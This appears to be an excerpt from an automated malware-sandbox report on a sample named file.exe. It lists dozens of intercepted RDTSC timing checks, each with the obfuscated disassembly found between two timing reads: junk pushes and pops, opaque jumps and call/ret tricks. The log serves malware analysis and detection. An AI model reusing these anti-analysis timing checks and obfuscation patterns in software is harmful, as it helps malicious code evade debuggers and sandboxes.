Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50018 second address: E50044 instructions: 0x00000000 rdtsc 0x00000002 je 00007F47DCFB8A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jo 00007F47DCFB8A5Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F47DCFB8A48h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51F52 second address: E51F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E52220 second address: E52224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51F57 second address: E51F7F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F47DD40FB87h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F47DD40FB78h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56B5C second address: E56B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E534CA second address: E534E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F47DD40FB78h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56B61 second address: E56BEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F47DCFB8A38h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 jnp 00007F47DCFB8A39h 0x0000002a adc bh, 00000073h 0x0000002d mov ebx, edi 0x0000002f push 00000000h 0x00000031 jnp 00007F47DCFB8A3Bh 0x00000037 mov edi, dword ptr [ebp+122D1DB4h] 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007F47DCFB8A38h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 sub dword ptr [ebp+122D1DC1h], esi 0x0000005f clc 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jg 00007F47DCFB8A36h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56BEB second address: E56BF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E534E3 second address: E534E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E534E8 second address: E534EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57D0D second address: E57D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57D11 second address: E57D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F47DD40FB7Ch 0x00000016 jc 00007F47DD40FB76h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57D2D second address: E57D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DCFB8A3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58F29 second address: E58F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56D7E second address: E56D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5800A second address: E58010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56D82 second address: E56D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58010 second address: E5801A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F47DD40FB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E590DE second address: E59104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F47DCFB8A36h 0x00000009 jmp 00007F47DCFB8A3Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F47DCFB8A3Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59D4A second address: E59D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D2EF6h] 0x00000013 push 00000000h 0x00000015 sub di, FB54h 0x0000001a push 00000000h 0x0000001c adc bx, 2800h 0x00000021 sub ebx, dword ptr [ebp+122D2CE2h] 0x00000027 push eax 0x00000028 push ecx 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59ED0 second address: E59ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59ED4 second address: E59EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F47DD40FB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5BDE0 second address: E5BE20 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F47DCFB8A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e stc 0x0000000f or dword ptr [ebp+122D2F6Dh], esi 0x00000015 push 00000000h 0x00000017 call 00007F47DCFB8A3Fh 0x0000001c and bh, 0000003Ch 0x0000001f pop ebx 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+122D2A90h], ecx 0x00000028 xchg eax, esi 0x00000029 pushad 0x0000002a push esi 0x0000002b pushad 0x0000002c popad 0x0000002d pop esi 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007F47DCFB8A36h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DEA2 second address: E5DEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D02E second address: E5D032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ED26 second address: E5ED2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ED2A second address: E5ED30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60E4D second address: E60EAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F47DD40FB78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 js 00007F47DD40FB82h 0x0000002b jmp 00007F47DD40FB7Ch 0x00000030 push 00000000h 0x00000032 pushad 0x00000033 mov dword ptr [ebp+12449A59h], edi 0x00000039 popad 0x0000003a push 00000000h 0x0000003c cmc 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 push ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60EAF second address: E60EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60EB4 second address: E60EB9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60EB9 second address: E60EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60EC6 second address: E60ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60ECC second address: E60ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61EAD second address: E61EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61EB3 second address: E61F24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F47DCFB8A38h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F47DCFB8A38h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 mov bx, ax 0x00000047 mov di, 56C5h 0x0000004b push 00000000h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61F24 second address: E61F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB80h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61F39 second address: E61F3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E8E second address: E62EA4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F47DD40FB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F47DD40FB7Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62EA4 second address: E62EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62EA8 second address: E62EB2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F47DD40FB7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61097 second address: E610A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F47DCFB8A36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62EB2 second address: E62F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F47DD40FB78h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 and ebx, dword ptr [ebp+122D3A3Dh] 0x00000029 call 00007F47DD40FB87h 0x0000002e sub dword ptr [ebp+122D1DE9h], edx 0x00000034 pop edi 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 jnl 00007F47DD40FB7Bh 0x0000003e mov edi, 12C9C4F1h 0x00000043 pop edi 0x00000044 xchg eax, esi 0x00000045 pushad 0x00000046 push ebx 0x00000047 push esi 0x00000048 pop esi 0x00000049 pop ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c push edx 0x0000004d pop edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E610A7 second address: E610AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E610AB second address: E610B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E61173 second address: E6118C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DCFB8A45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EF0F second address: E5EF13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5EF13 second address: E5EF19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63E0F second address: E63E97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007F47DD40FB89h 0x00000011 jmp 00007F47DD40FB83h 0x00000016 nop 0x00000017 jmp 00007F47DD40FB85h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F47DD40FB78h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 add dword ptr [ebp+122D3A0Fh], ecx 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D2A58h], ecx 0x00000046 xchg eax, esi 0x00000047 jbe 00007F47DD40FB82h 0x0000004d jnl 00007F47DD40FB7Ch 0x00000053 push eax 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 pop eax 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E620C3 second address: E620CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65278 second address: E65282 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F47DD40FB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65282 second address: E6529D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DCFB8A47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6867E second address: E68682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68682 second address: E686AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F47DCFB8A3Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jp 00007F47DCFB8A36h 0x0000001c popad 0x0000001d jc 00007F47DCFB8A38h 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E66194 second address: E661AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F47DD40FB7Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E686AB second address: E686C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47DCFB8A42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E686C1 second address: E686C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E708EC second address: E708F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E708F0 second address: E7090D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB83h 0x00000007 jg 00007F47DD40FB76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7090D second address: E70913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70913 second address: E70919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FFE8 second address: E6FFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FFEC second address: E7000B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F47DD40FB81h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70176 second address: E7018C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F47DCFB8A36h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F47DCFB8A36h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7018C second address: E70192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E702D2 second address: E702DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F47DCFB8A36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E702DE second address: E702E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E702E3 second address: E7032D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F47DCFB8A60h 0x00000008 jnp 00007F47DCFB8A3Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7032D second address: E70333 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBC98 second address: DFBC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBC9E second address: DFBCA4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CDDF second address: E7CDFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F47DCFB8A43h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C116 second address: E7C12E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F47DD40FB7Eh 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C444 second address: E7C465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F47DCFB8A4Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C59F second address: E7C5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB83h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F47DD40FB88h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C5D1 second address: E7C5D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C5D5 second address: E7C5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C5DF second address: E7C5E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C5E3 second address: E7C5FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB86h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80F07 second address: E80F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80F0D second address: E80F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87CBF second address: E87CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E87CC5 second address: E87CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86AA1 second address: E86AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86AAA second address: E86AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86C18 second address: E86C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86C1E second address: E86C22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86D48 second address: E86D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007F47DCFB8A3Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E86D5B second address: E86D6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB7Dh 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8716E second address: E87177 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E875E7 second address: E87608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB82h 0x00000009 jmp 00007F47DD40FB7Bh 0x0000000e rdtsc
